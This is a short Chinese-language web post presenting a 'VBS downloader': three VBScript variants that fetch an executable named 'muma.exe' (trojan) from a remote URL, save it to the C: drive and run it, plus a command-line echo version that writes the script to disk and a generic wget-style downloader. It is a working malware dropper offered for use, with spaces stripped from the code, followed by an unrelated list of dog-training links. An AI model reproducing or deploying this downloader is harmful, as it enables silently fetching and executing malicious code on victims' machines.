VBS下载者(通过vbscript实现文件下载)
一、VBS下载者：
SetPost=CreateObject("Msxml2.XMLHTTP")
SetShell=CreateObject("Wscript.Shell")
Post.Open"GET","http://www.jbzj.com/muma.exe",0
Post.Send()
SetaGet=CreateObject("ADODB.Stream")
aGet.Mode=3
aGet.Type=1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile"c:\zl.exe",2
wscript.sleep1000
Shell.Run("c:\zl.exe")'延迟过后执行下载文件
二、cmd下执行的版本：
echoSetPost=CreateObject("Msxml2.XMLHTTP")>>zl.vbs
echoSetShell=CreateObject("Wscript.Shell")>>zl.vbs
echoPost.Open"GET","http://www.jbzj.com/muma.exe",0>>zl.vbs
echoPost.Send()>>zl.vbs
echoSetaGet=CreateObject("ADODB.Stream")>>zl.vbs
echoaGet.Mode=3>>zl.vbs
echoaGet.Type=1>>zl.vbs
echoaGet.Open()>>zl.vbs
echoaGet.Write(Post.responseBody)>>zl.vbs
echoaGet.SaveToFile"c:\zl.exe",2>>zl.vbs
echowscript.sleep1000>>zl.vbs
echoShell.Run("c:\zl.exe")>>zl.vbs
三、wget.vbs
onerrorresumenext
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
setxPost=CreateObject("Microsoft.XMLHTTP")
ifiUser=""andiPass=""then
xPost.Open"GET",iRemote,0
else
xPost.Open"GET",iRemote,0,iUser,iPass
endif
xPost.Send()
setsGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.WritexPost.ResponseBody
sGet.SaveToFileiLocal,2
使用方法：cscriptwget.vbshttp://www.jbzj.com/muma.exe
热门推荐
1 训练狗狗憋尿
2 狗狗追踪训练
3 狗狗训练要多少钱
5 深圳狗狗训练
6 训练狗狗唤回
7 狗狗叫怎么训练
8 狗狗训练班
10 狗狗社会化训练
11 狗狗叫回训练
12 广州狗狗训练学校
13 狗狗训练躺下
14 狗狗随行训练
15 训练狗狗巡回
16 狗狗要怎么训练
17 狗狗喂食训练
18 训练狗狗躺下